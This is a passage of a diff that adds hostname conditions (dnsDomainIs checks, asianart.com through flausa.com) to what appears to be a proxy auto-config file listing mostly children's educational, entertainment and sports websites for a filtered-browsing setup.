+ || dnsDomainIs(host, "www.asianart.com")
+ || dnsDomainIs(host, "www.asiatour.com")
+ || dnsDomainIs(host, "www.asiaweek.com")
+ || dnsDomainIs(host, "www.askanexpert.com")
+ || dnsDomainIs(host, "www.askbasil.com")
+ || dnsDomainIs(host, "www.assa.org.au")
+ || dnsDomainIs(host, "www.ast.cam.ac.uk")
+ || dnsDomainIs(host, "www.astronomy.com")
+ || dnsDomainIs(host, "www.astros.com")
+ || dnsDomainIs(host, "www.atek.com")
+ || dnsDomainIs(host, "www.athlete.com")
+ || dnsDomainIs(host, "www.athropolis.com")
+ || dnsDomainIs(host, "www.atkielski.com")
+ || dnsDomainIs(host, "www.atlantabraves.com")
+ || dnsDomainIs(host, "www.atlantafalcons.com")
+ || dnsDomainIs(host, "www.atlantathrashers.com")
+ || dnsDomainIs(host, "www.atlanticus.com")
+ || dnsDomainIs(host, "www.atm.ch.cam.ac.uk")
+ || dnsDomainIs(host, "www.atom.co.jp")
+ || dnsDomainIs(host, "www.atomicarchive.com")
+ || dnsDomainIs(host, "www.att.com")
+ || dnsDomainIs(host, "www.audreywood.com")
+ || dnsDomainIs(host, "www.auntannie.com")
+ || dnsDomainIs(host, "www.auntie.com")
+ || dnsDomainIs(host, "www.avi-writer.com")
+ || dnsDomainIs(host, "www.awesomeclipartforkids.com")
+ || dnsDomainIs(host, "www.awhitehorse.com")
+ || dnsDomainIs(host, "www.axess.com")
+ || dnsDomainIs(host, "www.ayles.com")
+ || dnsDomainIs(host, "www.ayn.ca")
+ || dnsDomainIs(host, "www.azcardinals.com")
+ || dnsDomainIs(host, "www.azdiamondbacks.com")
+ || dnsDomainIs(host, "www.azsolarcenter.com")
+ || dnsDomainIs(host, "www.azstarnet.com")
+ || dnsDomainIs(host, "www.aztecafoods.com")
+ || dnsDomainIs(host, "www.b-witched.com")
+ || dnsDomainIs(host, "www.baberuthmuseum.com")
+ || dnsDomainIs(host, "www.backstreetboys.com")
+ || dnsDomainIs(host, "www.bagheera.com")
+ || dnsDomainIs(host, "www.bahamas.com")
+ || dnsDomainIs(host, "www.baileykids.com")
+ || dnsDomainIs(host, "www.baldeagleinfo.com")
+ || dnsDomainIs(host, "www.balloonhq.com")
+ || dnsDomainIs(host, "www.balloonzone.com")
+ || dnsDomainIs(host, "www.ballparks.com")
+ || dnsDomainIs(host, "www.balmoralsoftware.com")
+ || dnsDomainIs(host, "www.banja.com")
+ || dnsDomainIs(host, "www.banph.com")
+ || dnsDomainIs(host, "www.barbie.com")
+ || dnsDomainIs(host, "www.barkingbuddies.com")
+ || dnsDomainIs(host, "www.barnsdle.demon.co.uk")
+ || dnsDomainIs(host, "www.barrysclipart.com")
+ || dnsDomainIs(host, "www.bartleby.com")
+ || dnsDomainIs(host, "www.baseplate.com")
+ || dnsDomainIs(host, "www.batman-superman.com")
+ || dnsDomainIs(host, "www.batmanbeyond.com")
+ || dnsDomainIs(host, "www.bbc.co.uk")
+ || dnsDomainIs(host, "www.bbhighway.com")
+ || dnsDomainIs(host, "www.bboy.com")
+ || dnsDomainIs(host, "www.bcit.tec.nj.us")
+ || dnsDomainIs(host, "www.bconnex.net")
+ || dnsDomainIs(host, "www.bcpl.net")
+ || dnsDomainIs(host, "www.beach-net.com")
+ || dnsDomainIs(host, "www.beachboys.com")
+ || dnsDomainIs(host, "www.beakman.com")
+ || dnsDomainIs(host, "www.beano.co.uk")
+ || dnsDomainIs(host, "www.beans.demon.co.uk")
+ || dnsDomainIs(host, "www.beartime.com")
+ || dnsDomainIs(host, "www.bearyspecial.co.uk")
+ || dnsDomainIs(host, "www.bedtime.com")
+ || dnsDomainIs(host, "www.beingme.com")
+ || dnsDomainIs(host, "www.belizeexplorer.com")
+ || dnsDomainIs(host, "www.bell-labs.com")
+ || dnsDomainIs(host, "www.bemorecreative.com")
+ || dnsDomainIs(host, "www.bengals.com")
+ || dnsDomainIs(host, "www.benjerry.com")
+ || dnsDomainIs(host, "www.bennygoodsport.com")
+ || dnsDomainIs(host, "www.berenstainbears.com")
+ || dnsDomainIs(host, "www.beringia.com")
+ || dnsDomainIs(host, "www.beritsbest.com")
+ || dnsDomainIs(host, "www.berksweb.com")
+ || dnsDomainIs(host, "www.best.com")
+ || dnsDomainIs(host, "www.betsybyars.com")
+ || dnsDomainIs(host, "www.bfro.net")
+ || dnsDomainIs(host, "www.bgmm.com")
+ || dnsDomainIs(host, "www.bibliography.com")
+ || dnsDomainIs(host, "www.bigblue.com.au")
+ || dnsDomainIs(host, "www.bigchalk.com")
+ || dnsDomainIs(host, "www.bigidea.com")
+ || dnsDomainIs(host, "www.bigtop.com")
+ || dnsDomainIs(host, "www.bikecrawler.com")
+ || dnsDomainIs(host, "www.billboard.com")
+ || dnsDomainIs(host, "www.billybear4kids.com")
+ || dnsDomainIs(host, "www.biography.com")
+ || dnsDomainIs(host, "www.birdnature.com")
+ || dnsDomainIs(host, "www.birdsnways.com")
+ || dnsDomainIs(host, "www.birdtimes.com")
+ || dnsDomainIs(host, "www.birminghamzoo.com")
+ || dnsDomainIs(host, "www.birthdaypartyideas.com")
+ || dnsDomainIs(host, "www.bis.arachsys.com")
+ || dnsDomainIs(host, "www.bkgm.com")
+ || dnsDomainIs(host, "www.blackbaseball.com")
+ || dnsDomainIs(host, "www.blackbeardthepirate.com")
+ || dnsDomainIs(host, "www.blackbeltmag.com")
+ || dnsDomainIs(host, "www.blackfacts.com")
+ || dnsDomainIs(host, "www.blackfeetnation.com")
+ || dnsDomainIs(host, "www.blackhills-info.com")
+ || dnsDomainIs(host, "www.blackholegang.com")
+ || dnsDomainIs(host, "www.blaque.net")
+ || dnsDomainIs(host, "www.blarg.net")
+ || dnsDomainIs(host, "www.blasternaut.com")
+ || dnsDomainIs(host, "www.blizzard.com")
+ || dnsDomainIs(host, "www.blocksite.com")
+ || dnsDomainIs(host, "www.bluejackets.com")
+ || dnsDomainIs(host, "www.bluejays.ca")
+ || dnsDomainIs(host, "www.bluemountain.com")
+ || dnsDomainIs(host, "www.blupete.com")
+ || dnsDomainIs(host, "www.blyton.co.uk")
+ || dnsDomainIs(host, "www.boatnerd.com")
+ || dnsDomainIs(host, "www.boatsafe.com")
+ || dnsDomainIs(host, "www.bonus.com")
+ || dnsDomainIs(host, "www.boowakwala.com")
+ || dnsDomainIs(host, "www.bostonbruins.com")
+ || dnsDomainIs(host, "www.braceface.com")
+ || dnsDomainIs(host, "www.bracesinfo.com")
+ || dnsDomainIs(host, "www.bradkent.com")
+ || dnsDomainIs(host, "www.brainium.com")
+ || dnsDomainIs(host, "www.brainmania.com")
+ || dnsDomainIs(host, "www.brainpop.com")
+ || dnsDomainIs(host, "www.bridalcave.com")
+ || dnsDomainIs(host, "www.brightmoments.com")
+ || dnsDomainIs(host, "www.britannia.com")
+ || dnsDomainIs(host, "www.britannica.com")
+ || dnsDomainIs(host, "www.british-museum.ac.uk")
+ || dnsDomainIs(host, "www.brookes.ac.uk")
+ || dnsDomainIs(host, "www.brookfieldreader.com")
+ || dnsDomainIs(host, "www.btinternet.com")
+ || dnsDomainIs(host, "www.bubbledome.co.nz")
+ || dnsDomainIs(host, "www.buccaneers.com")
+ || dnsDomainIs(host, "www.buffy.com")
+ || dnsDomainIs(host, "www.bullying.co.uk")
+ || dnsDomainIs(host, "www.bumply.com")
+ || dnsDomainIs(host, "www.bungi.com")
+ || dnsDomainIs(host, "www.burlco.lib.nj.us")
+ || dnsDomainIs(host, "www.burlingamepezmuseum.com")
+ || dnsDomainIs(host, "www.bus.ualberta.ca")
+ || dnsDomainIs(host, "www.busprod.com")
+ || dnsDomainIs(host, "www.butlerart.com")
+ || dnsDomainIs(host, "www.butterflies.com")
+ || dnsDomainIs(host, "www.butterflyfarm.co.cr")
+ || dnsDomainIs(host, "www.bway.net")
+ || dnsDomainIs(host, "www.bydonovan.com")
+ || dnsDomainIs(host, "www.ca-mall.com")
+ || dnsDomainIs(host, "www.cabinessence.com")
+ || dnsDomainIs(host, "www.cablecarmuseum.com")
+ || dnsDomainIs(host, "www.cadbury.co.uk")
+ || dnsDomainIs(host, "www.calendarzone.com")
+ || dnsDomainIs(host, "www.calgaryflames.com")
+ || dnsDomainIs(host, "www.californiamissions.com")
+ || dnsDomainIs(host, "www.camalott.com")
+ || dnsDomainIs(host, "www.camelotintl.com")
+ || dnsDomainIs(host, "www.campbellsoup.com")
+ || dnsDomainIs(host, "www.camvista.com")
+ || dnsDomainIs(host, "www.canadiens.com")
+ || dnsDomainIs(host, "www.canals.state.ny.us")
+ || dnsDomainIs(host, "www.candlelightstories.com")
+ || dnsDomainIs(host, "www.candles-museum.com")
+ || dnsDomainIs(host, "www.candystand.com")
+ || dnsDomainIs(host, "www.caneshockey.com")
+ || dnsDomainIs(host, "www.canismajor.com")
+ || dnsDomainIs(host, "www.canucks.com")
+ || dnsDomainIs(host, "www.capecod.net")
+ || dnsDomainIs(host, "www.capital.net")
+ || dnsDomainIs(host, "www.capstonestudio.com")
+ || dnsDomainIs(host, "www.cardblvd.com")
+ || dnsDomainIs(host, "www.caro.net")
+ || dnsDomainIs(host, "www.carolhurst.com")
+ || dnsDomainIs(host, "www.carr.lib.md.us")
+ || dnsDomainIs(host, "www.cartooncorner.com")
+ || dnsDomainIs(host, "www.cartooncritters.com")
+ || dnsDomainIs(host, "www.cartoonnetwork.com")
+ || dnsDomainIs(host, "www.carvingpatterns.com")
+ || dnsDomainIs(host, "www.cashuniversity.com")
+ || dnsDomainIs(host, "www.castles-of-britain.com")
+ || dnsDomainIs(host, "www.castlewales.com")
+ || dnsDomainIs(host, "www.catholic-forum.com")
+ || dnsDomainIs(host, "www.catholic.net")
+ || dnsDomainIs(host, "www.cattle.guelph.on.ca")
+ || dnsDomainIs(host, "www.cavedive.com")
+ || dnsDomainIs(host, "www.caveofthewinds.com")
+ || dnsDomainIs(host, "www.cbc4kids.ca")
+ || dnsDomainIs(host, "www.ccer.ggl.ruu.nl")
+ || dnsDomainIs(host, "www.ccnet.com")
+ || dnsDomainIs(host, "www.celineonline.com")
+ || dnsDomainIs(host, "www.cellsalive.com")
+ || dnsDomainIs(host, "www.centuryinshoes.com")
+ || dnsDomainIs(host, "www.cfl.ca")
+ || dnsDomainIs(host, "www.channel4.com")
+ || dnsDomainIs(host, "www.channel8.net")
+ || dnsDomainIs(host, "www.chanukah99.com")
+ || dnsDomainIs(host, "www.charged.com")
+ || dnsDomainIs(host, "www.chargers.com")
+ || dnsDomainIs(host, "www.charlotte.com")
+ || dnsDomainIs(host, "www.chaseday.com")
+ || dnsDomainIs(host, "www.chateauversailles.fr")
+ || dnsDomainIs(host, "www.cheatcc.com")
+ || dnsDomainIs(host, "www.cheerleading.net")
+ || dnsDomainIs(host, "www.cheese.com")
+ || dnsDomainIs(host, "www.chem4kids.com")
+ || dnsDomainIs(host, "www.chemicool.com")
+ || dnsDomainIs(host, "www.cherbearsden.com")
+ || dnsDomainIs(host, "www.chesskids.com")
+ || dnsDomainIs(host, "www.chessvariants.com")
+ || dnsDomainIs(host, "www.cheungswingchun.com")
+ || dnsDomainIs(host, "www.chevroncars.com")
+ || dnsDomainIs(host, "www.chibi.simplenet.com")
+ || dnsDomainIs(host, "www.chicagobears.com")
+ || dnsDomainIs(host, "www.chicagoblackhawks.com")
+ || dnsDomainIs(host, "www.chickasaw.net")
+ || dnsDomainIs(host, "www.childrensmusic.co.uk")
+ || dnsDomainIs(host, "www.childrenssoftware.com")
+ || dnsDomainIs(host, "www.childrenstory.com")
+ || dnsDomainIs(host, "www.childrenwithdiabetes.com")
+ || dnsDomainIs(host, "www.chinapage.com")
+ || dnsDomainIs(host, "www.chinatoday.com")
+ || dnsDomainIs(host, "www.chinavista.com")
+ || dnsDomainIs(host, "www.chinnet.net")
+ || dnsDomainIs(host, "www.chiquita.com")
+ || dnsDomainIs(host, "www.chisox.com")
+ || dnsDomainIs(host, "www.chivalry.com")
+ || dnsDomainIs(host, "www.christiananswers.net")
+ || dnsDomainIs(host, "www.christianity.com")
+ || dnsDomainIs(host, "www.christmas.com")
+ || dnsDomainIs(host, "www.christmas98.com")
+ || dnsDomainIs(host, "www.chron.com")
+ || dnsDomainIs(host, "www.chronique.com")
+ || dnsDomainIs(host, "www.chuckecheese.com")
+ || dnsDomainIs(host, "www.chucklebait.com")
+ || dnsDomainIs(host, "www.chunkymonkey.com")
+ || dnsDomainIs(host, "www.ci.chi.il.us")
+ || dnsDomainIs(host, "www.ci.nyc.ny.us")
+ || dnsDomainIs(host, "www.ci.phoenix.az.us")
+ || dnsDomainIs(host, "www.ci.san-diego.ca.us")
+ || dnsDomainIs(host, "www.cibc.com")
+ || dnsDomainIs(host, "www.ciderpresspottery.com")
+ || dnsDomainIs(host, "www.cincinnatireds.com")
+ || dnsDomainIs(host, "www.circusparade.com")
+ || dnsDomainIs(host, "www.circusweb.com")
+ || dnsDomainIs(host, "www.cirquedusoleil.com")
+ || dnsDomainIs(host, "www.cit.state.vt.us")
+ || dnsDomainIs(host, "www.citycastles.com")
+ || dnsDomainIs(host, "www.cityu.edu.hk")
+ || dnsDomainIs(host, "www.civicmind.com")
+ || dnsDomainIs(host, "www.civil-war.net")
+ || dnsDomainIs(host, "www.civilization.ca")
+ || dnsDomainIs(host, "www.cl.cam.ac.uk")
+ || dnsDomainIs(host, "www.clantongang.com")
+ || dnsDomainIs(host, "www.clark.net")
+ || dnsDomainIs(host, "www.classicgaming.com")
+ || dnsDomainIs(host, "www.claus.com")
+ || dnsDomainIs(host, "www.clayz.com")
+ || dnsDomainIs(host, "www.clearcf.uvic.ca")
+ || dnsDomainIs(host, "www.clearlight.com")
+ || dnsDomainIs(host, "www.clemusart.com")
+ || dnsDomainIs(host, "www.clevelandbrowns.com")
+ || dnsDomainIs(host, "www.clipartcastle.com")
+ || dnsDomainIs(host, "www.clubi.ie")
+ || dnsDomainIs(host, "www.cnn.com")
+ || dnsDomainIs(host, "www.co.henrico.va.us")
+ || dnsDomainIs(host, "www.coax.net")
+ || dnsDomainIs(host, "www.cocacola.com")
+ || dnsDomainIs(host, "www.cocori.com")
+ || dnsDomainIs(host, "www.codesmiths.com")
+ || dnsDomainIs(host, "www.codetalk.fed.us")
+ || dnsDomainIs(host, "www.coin-gallery.com")
+ || dnsDomainIs(host, "www.colinthompson.com")
+ || dnsDomainIs(host, "www.collectoronline.com")
+ || dnsDomainIs(host, "www.colonialhall.com")
+ || dnsDomainIs(host, "www.coloradoavalanche.com")
+ || dnsDomainIs(host, "www.coloradorockies.com")
+ || dnsDomainIs(host, "www.colormathpink.com")
+ || dnsDomainIs(host, "www.colts.com")
+ || dnsDomainIs(host, "www.comet.net")
+ || dnsDomainIs(host, "www.cometsystems.com")
+ || dnsDomainIs(host, "www.comicbookresources.com")
+ || dnsDomainIs(host, "www.comicspage.com")
+ || dnsDomainIs(host, "www.compassnet.com")
+ || dnsDomainIs(host, "www.compleatbellairs.com")
+ || dnsDomainIs(host, "www.comptons.com")
+ || dnsDomainIs(host, "www.concentric.net")
+ || dnsDomainIs(host, "www.congogorillaforest.com")
+ || dnsDomainIs(host, "www.conjuror.com")
+ || dnsDomainIs(host, "www.conk.com")
+ || dnsDomainIs(host, "www.conservation.state.mo.us")
+ || dnsDomainIs(host, "www.contracostatimes.com")
+ || dnsDomainIs(host, "www.control.chalmers.se")
+ || dnsDomainIs(host, "www.cookierecipe.com")
+ || dnsDomainIs(host, "www.cooljapanesetoys.com")
+ || dnsDomainIs(host, "www.cooper.com")
+ || dnsDomainIs(host, "www.corpcomm.net")
+ || dnsDomainIs(host, "www.corrietenboom.com")
+ || dnsDomainIs(host, "www.corynet.com")
+ || dnsDomainIs(host, "www.corypaints.com")
+ || dnsDomainIs(host, "www.cosmosmith.com")
+ || dnsDomainIs(host, "www.countdown2000.com")
+ || dnsDomainIs(host, "www.cowboy.net")
+ || dnsDomainIs(host, "www.cowboypal.com")
+ || dnsDomainIs(host, "www.cowcreek.com")
+ || dnsDomainIs(host, "www.cowgirl.net")
+ || dnsDomainIs(host, "www.cowgirls.com")
+ || dnsDomainIs(host, "www.cp.duluth.mn.us")
+ || dnsDomainIs(host, "www.cpsweb.com")
+ || dnsDomainIs(host, "www.craftideas.com")
+ || dnsDomainIs(host, "www.craniamania.com")
+ || dnsDomainIs(host, "www.crater.lake.national-park.com")
+ || dnsDomainIs(host, "www.crayoncrawler.com")
+ || dnsDomainIs(host, "www.crazybone.com")
+ || dnsDomainIs(host, "www.crazybones.com")
+ || dnsDomainIs(host, "www.crd.ge.com")
+ || dnsDomainIs(host, "www.create4kids.com")
+ || dnsDomainIs(host, "www.creativemusic.com")
+ || dnsDomainIs(host, "www.crocodilian.com")
+ || dnsDomainIs(host, "www.crop.cri.nz")
+ || dnsDomainIs(host, "www.cruzio.com")
+ || dnsDomainIs(host, "www.crwflags.com")
+ || dnsDomainIs(host, "www.cryptograph.com")
+ || dnsDomainIs(host, "www.cryst.bbk.ac.uk")
+ || dnsDomainIs(host, "www.cs.bilkent.edu.tr")
+ || dnsDomainIs(host, "www.cs.man.ac.uk")
+ || dnsDomainIs(host, "www.cs.sfu.ca")
+ || dnsDomainIs(host, "www.cs.ubc.ca")
+ || dnsDomainIs(host, "www.csd.uu.se")
+ || dnsDomainIs(host, "www.csmonitor.com")
+ || dnsDomainIs(host, "www.csse.monash.edu.au")
+ || dnsDomainIs(host, "www.cstone.net")
+ || dnsDomainIs(host, "www.csu.edu.au")
+ || dnsDomainIs(host, "www.cubs.com")
+ || dnsDomainIs(host, "www.culture.fr")
+ || dnsDomainIs(host, "www.cultures.com")
+ || dnsDomainIs(host, "www.curtis-collection.com")
+ || dnsDomainIs(host, "www.cut-the-knot.com")
+ || dnsDomainIs(host, "www.cws-scf.ec.gc.ca")
+ || dnsDomainIs(host, "www.cyber-dyne.com")
+ || dnsDomainIs(host, "www.cyberbee.com")
+ || dnsDomainIs(host, "www.cyberbee.net")
+ || dnsDomainIs(host, "www.cybercom.net")
+ || dnsDomainIs(host, "www.cybercomm.net")
+ || dnsDomainIs(host, "www.cybercomm.nl")
+ || dnsDomainIs(host, "www.cybercorp.co.nz")
+ || dnsDomainIs(host, "www.cybercs.com")
+ || dnsDomainIs(host, "www.cybergoal.com")
+ || dnsDomainIs(host, "www.cyberkids.com")
+ || dnsDomainIs(host, "www.cyberspaceag.com")
+ || dnsDomainIs(host, "www.cyberteens.com")
+ || dnsDomainIs(host, "www.cybertours.com")
+ || dnsDomainIs(host, "www.cybiko.com")
+ || dnsDomainIs(host, "www.czweb.com")
+ || dnsDomainIs(host, "www.d91.k12.id.us")
+ || dnsDomainIs(host, "www.dailygrammar.com")
+ || dnsDomainIs(host, "www.dakidz.com")
+ || dnsDomainIs(host, "www.dalejarrettonline.com")
+ || dnsDomainIs(host, "www.dallascowboys.com")
+ || dnsDomainIs(host, "www.dallasdogndisc.com")
+ || dnsDomainIs(host, "www.dallasstars.com")
+ || dnsDomainIs(host, "www.damnyankees.com")
+ || dnsDomainIs(host, "www.danceart.com")
+ || dnsDomainIs(host, "www.daniellesplace.com")
+ || dnsDomainIs(host, "www.dare-america.com")
+ || dnsDomainIs(host, "www.darkfish.com")
+ || dnsDomainIs(host, "www.darsbydesign.com")
+ || dnsDomainIs(host, "www.datadragon.com")
+ || dnsDomainIs(host, "www.davidreilly.com")
+ || dnsDomainIs(host, "www.dccomics.com")
+ || dnsDomainIs(host, "www.dcn.davis.ca.us")
+ || dnsDomainIs(host, "www.deepseaworld.com")
+ || dnsDomainIs(host, "www.delawaretribeofindians.nsn.us")
+ || dnsDomainIs(host, "www.demon.co.uk")
+ || dnsDomainIs(host, "www.denverbroncos.com")
+ || dnsDomainIs(host, "www.denverpost.com")
+ || dnsDomainIs(host, "www.dep.state.pa.us")
+ || dnsDomainIs(host, "www.desert-fairy.com")
+ || dnsDomainIs(host, "www.desert-storm.com")
+ || dnsDomainIs(host, "www.desertusa.com")
+ || dnsDomainIs(host, "www.designltd.com")
+ || dnsDomainIs(host, "www.designsbykat.com")
+ || dnsDomainIs(host, "www.detnews.com")
+ || dnsDomainIs(host, "www.detroitlions.com")
+ || dnsDomainIs(host, "www.detroitredwings.com")
+ || dnsDomainIs(host, "www.detroittigers.com")
+ || dnsDomainIs(host, "www.deutsches-museum.de")
+ || dnsDomainIs(host, "www.devilray.com")
+ || dnsDomainIs(host, "www.dhorse.com")
+ || dnsDomainIs(host, "www.diana-ross.co.uk")
+ || dnsDomainIs(host, "www.dianarossandthesupremes.net")
+ || dnsDomainIs(host, "www.diaryproject.com")
+ || dnsDomainIs(host, "www.dickbutkus.com")
+ || dnsDomainIs(host, "www.dickshovel.com")
+ || dnsDomainIs(host, "www.dictionary.com")
+ || dnsDomainIs(host, "www.didyouknow.com")
+ || dnsDomainIs(host, "www.diegorivera.com")
+ || dnsDomainIs(host, "www.digitalcentury.com")
+ || dnsDomainIs(host, "www.digitaldog.com")
+ || dnsDomainIs(host, "www.digiweb.com")
+ || dnsDomainIs(host, "www.dimdima.com")
+ || dnsDomainIs(host, "www.dinodon.com")
+ || dnsDomainIs(host, "www.dinosauria.com")
+ || dnsDomainIs(host, "www.discovereso.com")
+ || dnsDomainIs(host, "www.discovergalapagos.com")
+ || dnsDomainIs(host, "www.discovergames.com")
+ || dnsDomainIs(host, "www.discoveringarchaeology.com")
+ || dnsDomainIs(host, "www.discoveringmontana.com")
+ || dnsDomainIs(host, "www.discoverlearning.com")
+ || dnsDomainIs(host, "www.discovery.com")
+ || dnsDomainIs(host, "www.disknet.com")
+ || dnsDomainIs(host, "www.disney.go.com")
+ || dnsDomainIs(host, "www.distinguishedwomen.com")
+ || dnsDomainIs(host, "www.dkonline.com")
+ || dnsDomainIs(host, "www.dltk-kids.com")
+ || dnsDomainIs(host, "www.dmgi.com")
+ || dnsDomainIs(host, "www.dnr.state.md.us")
+ || dnsDomainIs(host, "www.dnr.state.mi.us")
+ || dnsDomainIs(host, "www.dnr.state.wi.us")
+ || dnsDomainIs(host, "www.dodgers.com")
+ || dnsDomainIs(host, "www.dodoland.com")
+ || dnsDomainIs(host, "www.dog-play.com")
+ || dnsDomainIs(host, "www.dogbreedinfo.com")
+ || dnsDomainIs(host, "www.doginfomat.com")
+ || dnsDomainIs(host, "www.dole5aday.com")
+ || dnsDomainIs(host, "www.dollart.com")
+ || dnsDomainIs(host, "www.dolliedish.com")
+ || dnsDomainIs(host, "www.dome2000.co.uk")
+ || dnsDomainIs(host, "www.domtar.com")
+ || dnsDomainIs(host, "www.donegal.k12.pa.us")
+ || dnsDomainIs(host, "www.dorneypark.com")
+ || dnsDomainIs(host, "www.dorothyhinshawpatent.com")
+ || dnsDomainIs(host, "www.dougweb.com")
+ || dnsDomainIs(host, "www.dps.state.ak.us")
+ || dnsDomainIs(host, "www.draw3d.com")
+ || dnsDomainIs(host, "www.dreamgate.com")
+ || dnsDomainIs(host, "www.dreamkitty.com")
+ || dnsDomainIs(host, "www.dreamscape.com")
+ || dnsDomainIs(host, "www.dreamtime.net.au")
+ || dnsDomainIs(host, "www.drpeppermuseum.com")
+ || dnsDomainIs(host, "www.drscience.com")
+ || dnsDomainIs(host, "www.drseward.com")
+ || dnsDomainIs(host, "www.drtoy.com")
+ || dnsDomainIs(host, "www.dse.nl")
+ || dnsDomainIs(host, "www.dtic.mil")
+ || dnsDomainIs(host, "www.duracell.com")
+ || dnsDomainIs(host, "www.dustbunny.com")
+ || dnsDomainIs(host, "www.dynanet.com")
+ || dnsDomainIs(host, "www.eagerreaders.com")
+ || dnsDomainIs(host, "www.eaglekids.com")
+ || dnsDomainIs(host, "www.earthcalendar.net")
+ || dnsDomainIs(host, "www.earthday.net")
+ || dnsDomainIs(host, "www.earthdog.com")
+ || dnsDomainIs(host, "www.earthwatch.com")
+ || dnsDomainIs(host, "www.ease.com")
+ || dnsDomainIs(host, "www.eastasia.ws")
+ || dnsDomainIs(host, "www.easytype.com")
+ || dnsDomainIs(host, "www.eblewis.com")
+ || dnsDomainIs(host, "www.ebs.hw.ac.uk")
+ || dnsDomainIs(host, "www.eclipse.net")
+ || dnsDomainIs(host, "www.eco-pros.com")
+ || dnsDomainIs(host, "www.edbydesign.com")
+ || dnsDomainIs(host, "www.eddytheeco-dog.com")
+ || dnsDomainIs(host, "www.edgate.com")
+ || dnsDomainIs(host, "www.edmontonoilers.com")
+ || dnsDomainIs(host, "www.edu-source.com")
+ || dnsDomainIs(host, "www.edu.gov.on.ca")
+ || dnsDomainIs(host, "www.edu4kids.com")
+ || dnsDomainIs(host, "www.educ.uvic.ca")
+ || dnsDomainIs(host, "www.educate.org.uk")
+ || dnsDomainIs(host, "www.education-world.com")
+ || dnsDomainIs(host, "www.edunet.com")
+ || dnsDomainIs(host, "www.eduplace.com")
+ || dnsDomainIs(host, "www.edupuppy.com")
+ || dnsDomainIs(host, "www.eduweb.com")
+ || dnsDomainIs(host, "www.ee.ryerson.ca")
+ || dnsDomainIs(host, "www.ee.surrey.ac.uk")
+ || dnsDomainIs(host, "www.eeggs.com")
+ || dnsDomainIs(host, "www.efes.com")
+ || dnsDomainIs(host, "www.egalvao.com")
+ || dnsDomainIs(host, "www.egypt.com")
+ || dnsDomainIs(host, "www.egyptology.com")
+ || dnsDomainIs(host, "www.ehobbies.com")
+ || dnsDomainIs(host, "www.ehow.com")
+ || dnsDomainIs(host, "www.eia.brad.ac.uk")
+ || dnsDomainIs(host, "www.elbalero.gob.mx")
+ || dnsDomainIs(host, "www.eliki.com")
+ || dnsDomainIs(host, "www.elnino.com")
+ || dnsDomainIs(host, "www.elok.com")
+ || dnsDomainIs(host, "www.emf.net")
+ || dnsDomainIs(host, "www.emsphone.com")
+ || dnsDomainIs(host, "www.emulateme.com")
+ || dnsDomainIs(host, "www.en.com")
+ || dnsDomainIs(host, "www.enature.com")
+ || dnsDomainIs(host, "www.enchantedlearning.com")
+ || dnsDomainIs(host, "www.encyclopedia.com")
+ || dnsDomainIs(host, "www.endex.com")
+ || dnsDomainIs(host, "www.enjoyillinois.com")
+ || dnsDomainIs(host, "www.enn.com")
+ || dnsDomainIs(host, "www.enriqueig.com")
+ || dnsDomainIs(host, "www.enteract.com")
+ || dnsDomainIs(host, "www.epals.com")
+ || dnsDomainIs(host, "www.equine-world.co.uk")
+ || dnsDomainIs(host, "www.eric-carle.com")
+ || dnsDomainIs(host, "www.ericlindros.net")
+ || dnsDomainIs(host, "www.escape.com")
+ || dnsDomainIs(host, "www.eskimo.com")
+ || dnsDomainIs(host, "www.essentialsofmusic.com")
+ || dnsDomainIs(host, "www.etch-a-sketch.com")
+ || dnsDomainIs(host, "www.ethanallen.together.com")
+ || dnsDomainIs(host, "www.etoys.com")
+ || dnsDomainIs(host, "www.eurekascience.com")
+ || dnsDomainIs(host, "www.euronet.nl")
+ || dnsDomainIs(host, "www.everyrule.com")
+ || dnsDomainIs(host, "www.ex.ac.uk")
+ || dnsDomainIs(host, "www.excite.com")
+ || dnsDomainIs(host, "www.execpc.com")
+ || dnsDomainIs(host, "www.execulink.com")
+ || dnsDomainIs(host, "www.exn.net")
+ || dnsDomainIs(host, "www.expa.hvu.nl")
+ || dnsDomainIs(host, "www.expage.com")
+ || dnsDomainIs(host, "www.explode.to")
+ || dnsDomainIs(host, "www.explorescience.com")
+ || dnsDomainIs(host, "www.explorezone.com")
+ || dnsDomainIs(host, "www.extremescience.com")
+ || dnsDomainIs(host, "www.eyelid.co.uk")
+ || dnsDomainIs(host, "www.eyeneer.com")
+ || dnsDomainIs(host, "www.eyesofachild.com")
+ || dnsDomainIs(host, "www.eyesofglory.com")
+ || dnsDomainIs(host, "www.ezschool.com")
+ || dnsDomainIs(host, "www.f1-live.com")
+ || dnsDomainIs(host, "www.fables.co.uk")
+ || dnsDomainIs(host, "www.factmonster.com")
+ || dnsDomainIs(host, "www.fairygodmother.com")
+ || dnsDomainIs(host, "www.familybuzz.com")
+ || dnsDomainIs(host, "www.familygames.com")
+ || dnsDomainIs(host, "www.familygardening.com")
+ || dnsDomainIs(host, "www.familyinternet.com")
+ || dnsDomainIs(host, "www.familymoney.com")
+ || dnsDomainIs(host, "www.familyplay.com")
+ || dnsDomainIs(host, "www.famousbirthdays.com")
+ || dnsDomainIs(host, "www.fandom.com")
+ || dnsDomainIs(host, "www.fansites.com")
+ || dnsDomainIs(host, "www.faoschwarz.com")
+ || dnsDomainIs(host, "www.fbe.unsw.edu.au")
+ || dnsDomainIs(host, "www.fcps.k12.va.us")
+ || dnsDomainIs(host, "www.fellersartsfactory.com")
+ || dnsDomainIs(host, "www.ferrari.it")
+ || dnsDomainIs(host, "www.fertnel.com")
+ || dnsDomainIs(host, "www.fh-konstanz.de")
+ || dnsDomainIs(host, "www.fhw.gr")
+ || dnsDomainIs(host, "www.fibblesnork.com")
+ || dnsDomainIs(host, "www.fidnet.com")
+ || dnsDomainIs(host, "www.fieldhockey.com")
+ || dnsDomainIs(host, "www.fieldhockeytraining.com")
+ || dnsDomainIs(host, "www.fieler.com")
+ || dnsDomainIs(host, "www.finalfour.net")
+ || dnsDomainIs(host, "www.finifter.com")
+ || dnsDomainIs(host, "www.fireworks-safety.com")
+ || dnsDomainIs(host, "www.firstcut.com")
+ || dnsDomainIs(host, "www.firstnations.com")
+ || dnsDomainIs(host, "www.fishbc.com")
+ || dnsDomainIs(host, "www.fisher-price.com")
+ || dnsDomainIs(host, "www.fisheyeview.com")
+ || dnsDomainIs(host, "www.fishgeeks.com")
+ || dnsDomainIs(host, "www.fishindex.com")
+ || dnsDomainIs(host, "www.fitzgeraldstudio.com")
+ || dnsDomainIs(host, "www.flags.net")
+ || dnsDomainIs(host, "www.flail.com")
+ || dnsDomainIs(host, "www.flamarlins.com")
+ || dnsDomainIs(host, "www.flausa.com")
